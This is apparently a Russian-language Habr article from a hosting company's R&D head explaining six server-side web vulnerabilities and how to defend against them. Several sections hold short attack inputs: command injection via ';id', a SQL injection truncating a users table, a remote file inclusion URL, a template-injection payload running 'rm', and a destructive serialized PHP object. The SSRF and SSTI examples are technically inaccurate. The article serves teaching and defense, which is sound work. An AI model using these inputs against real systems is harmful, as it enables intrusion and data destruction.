Привет, Хабр! На связи Виталий Киреев, руководитель R&D SpaceWeb. В статье я расскажу про главные уязвимости Server Side, покажу примеры и объясню, как защищать данные.
Принцип отбора бэкенд-уязвимостей
Тему с веб-уязвимостями мы решили раскрыть после нашей недавней статьи на Хабре. В ней мы рассказали о том, как ввели собственную методологию обучения веб-безопасности для новых сотрудников, но не останавливались детально на каждой веб-уязвимости. Но теперь настало время погрузиться глубже.
В стандарты веб-безопасности Server Side в SpaceWeb входит 6 типов уязвимостей. За основу мы взяли стандарты OWASP — международной некоммерческой организации, которая занимается вопросами обеспечения безопасности веб-приложений. Изучили весь список уязвимостей и отобрали только те, которые актуальны для нашего стека (PHP, Python, MySQL) и нашего проекта с учётом того, что он легаси и поддерживается уже больше 15 лет. Остановимся на них подробнее.
RCE (Remote Code Execution) — инъекция кода
Используя эту уязвимость, хакер сможет внедрить свой код на сервер и выполнять любые команды, как если бы он был легальным пользователем.
Например, если в приложении можно выполнять команды через интерфейс пользователя, и эти команды передаются на сервер без должной проверки — хакер может использовать это для внедрения вредоносного кода.
Чтобы воспользоваться уязвимостью, часто используют SQL-инъекции. А еще функцию exec, которая передает параметр, в котором можно сделать инъекцию shell-кода.
Пример 1:
Возьмем уязвимый скрипт. Ему передается домен, и он проверяет сервер, на котором расположен домен на доступность:
$domain = $_GET['domain'];
print(shell_exec("ping -c 1 $domain"));Но если мы к домену через ";" добавим Linux команду, то shell_exec ее тоже выполнит. Пример:
# curl -s https://site.ru/script.php?domain=sweb.ru;id
PING sweb.ru(2a02:408:7722:41:77:222:41:15 (2a02:408:7722:41:77:222:41:15)) 56 data bytes
64 bytes from 2a02:408:7722:41:77:222:41:15 (2a02:408:7722:41:77:222:41:15): icmp_seq=1 ttl=60 time=1.31 ms
--- sweb.ru ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.312/1.312/1.312/0.000 ms
uid=0(root) gid=0(root) groups=0(root)В этом случае у нас помимо пинга, выполнилась еще и команда id.
Пример 2:
Код в проекте:
$pdo->query(‘SELECT * FROM user WHERE name = ‘ . $_GET[‘name’])Вызов скрипта:
script.php?name=aa+UNION+TRUNCATE+users --Результат SQL-инъекции: будет удалена таблица users.
Как можно защититься:
Никогда не используем входящие данные для прямого конструирования запросов к другим сервисам, например MySQL.
Запрещаем использовать команды, работающие с shell: exec, system, shell_exec, passthru, pctrl_exec, eval.
LFI/RFI (Local/Remote File Inclusion) — подключение файлов
Local File Inclusion — с помощью этой уязвимости злоумышленник может изменить путь к файлам на сервере в URL-адресе и получить доступ к ним. Обычно эта проблема возникает из-за недостаточной фильтрации входящих данных.
Пример:
Код в проекте:
$file = $_GET['template'];
include($file);Вызов скрипта:
/view.php?template=admin.phpРезультат: можно будет подключить любой файл из проекта
Remote File Inclusion — тут хакер может внедрить внешний файл на сервер. Работает это так: отправляется запрос, включающий ссылку на внешний файл с вредоносным кодом, и код выполняется на сервере.
Пример:
Код в проекте:
$file = $_GET['template'];
include($file);Вызов скрипта:
/view.php?template=http://some.site/remote_code.phpВажно отметить, что php на стороне злоумышленника не должен выполняться и не должен быть установлен, то есть код файла должен отдаваться в чистом виде.
Результат: можно будет подключить вредоносный код с другого сайта для выполнения на вашем.
Как можно защититься:
Не подключаем файлы по относительным путям. Для защиты фильтруем путь на наличие "/../" и "/./".
Запрещаем внешние allow_url_include в php.ini
В принципе проверяем, что подключаем на разрешенные значения. Как это сделать:
<?php
$file = $_GET['file'];
if(in_array($file,['file1', 'file2'])){
include(dirname(__FILE__).'/'.$file.'.php');
}SSTI (Server-Side Template Injection) — инъекция в шаблоны
Шаблонизаторы на стороне backend очень функциональные — они могут выполнять действия и получать доступ к различным файлам. Так, хакер может внедрить код в поле ввода или в URL-адрес и заставить сервер выполнить его как часть шаблона.
Пример:
Код в проекте использует отображение поискового запроса в шаблоне (параметр query).
Вызов скрипта:
/search?query={{import os; os.system('rm some_file')}}Результат: шаблонизатор выполнит переданный код, как команду и удалит some_file.
Как можно защититься:
Своевременно обновляем шаблонизаторы. Например, у Twig новые версии выходят несколько раз в год. Тут важно смотреть пометки от разработчиков, что версия может иметь замечания по безопасности.
Отправляем в шаблон только проверенные переменные.
Пример проверенных переменных на Python:
import html
# строка sanitized_str будет содержать
# экранированные символы html
sanitized_str = html.escape(input_str)SSRF (Server-Side Request Forgery) — подделка запросов
Через эту уязвимость хакеры могут с помощью снифферов и прокси вычислять, какой запрос выполняется, и подделывать данные в нем. Наиболее уязвимыми будут веб-приложения, которые взаимодействуют со сторонними сервисами или загружают данные по ссылкам.
Пример:
Запрос к API:
{"action":"removeAccount","user":"aaaa"}Изменяем запрос, чтобы удалить чужой аккаунт:
{"action":"removeAccount","user":"bbbb"}Как можно защититься:
Никогда не доверяем данным, которые получили извне. Если есть возможность установить белый список адресов для обращения, делаем это. В случае, когда нет возможности ограничить адреса, исключаем обращение к внешним ресурсам.
Обязательно фильтрацию данных. Если нужно, дополнительно проверяем или очищаем их.
IDOR (Insecure Direct Object References) — несанкционированный доступ
Уязвимость дает доступ к данным, которые в нормальной ситуации закрыты для пользователя. Обычно используют доступ к данным по определенному референсу.
Например, у нас может быть ссылка на редактирование аккаунта пользователя. С помощью IDOR хакер сможет заменить эту ссылку на редактирование другого пользователя. При этом веб-приложение никак не уведомит нас о уязвимости, и обнаружить ее будет непросто.
Пример:
Просмотр своего заказа в интернет-магазине:
http://some.site/order?id=1111Заменяем номер заказа и просматриваем чужой:
http://some.site/order?id=2222Как можно защититься:
Проверяем и ограничиваем доступ к управлению объектами.
Проверяем все endpoint, заголовки и cookie — те параметры, которые можно подделать с отправляющей стороны.
PHP Object Injection — инъекция объекта
В PHP есть возможность сериализовать и рассериализовывать объекты — преобразовывать их в текстовый или иной вид, чтобы потом передавать объекты на сервер. Нюанс уязвимости в том, что иногда в этих объектах может содержаться деструктивный код.
Например, у нас есть деструктивный класс, который что-то удаляет. В случае вызова скрипта, который принимается за сериализованные данные, мы сериализуем туда вместо валидных данных тот самый деструктивный класс, который будет выполнять код на стороне клиентского сервиса. Когда полученные данные рассериализуются, в моменте ничего страшного не произойдет. Но когда скрипт завершит работу, и все деструкторы выполнятся — вредоносное действие тоже завершится.
Пример:
Так может готовиться вредоносный код:
class Example1
{
function __destruct()
{
$file = "/some/file";
@unlink($file);
}
}
$Example1 = new Example1();Вызов уязвимого скрипта с передачей вредоносного кода:
file_get_contents('http://some.site/script.php?data=' + urlencode(serialize($Example1)));Результат: в уязвимом скрипте выполнится рассериализация данных, а в завершении скрипта выполнится деструктор.
Как можно защититься:
Никогда не доверяйте данным, полученным извне.
Используйте JSON.
Памятка: как защищаться от уязвимостей Server Side
Не доверяем никаким входным данным (GET, POST, COOKIE).
Очищаем входные данные через с помощью экранирования или фильтрации.
Не создаем неопределенные объекты, которые зависят от внешних данных, без дополнительной проверки. Пример — доступ к файлам через параметры.
Не используем без жесткой необходимости функции, работающие с системной командной оболочкой. Если без этого не обойтись, используйте их только для доверенных внутренних сервисов.
Не выдаваем права на изменения файлов проекта пользователю, из-под которого этот проект работает. Выполняемые скрипты могут содержаться в области, доступной для веб-сервера, и если мы даем права на изменение проекта, это может стать потенциальной уязвимостью.
Как защитить пользовательские данные
Если говорить про бэкенд-часть, есть несколько важных принципов:
Не храним пароли и ключи в незашифрованном виде.
При любых действиях с данным проверяем полномочия аккаунта, который пытается внести изменения. Например, один пользователь не должен иметь прав на редактирование профиля или заказов другого пользователя.
Проводим ежедневный бэкап.
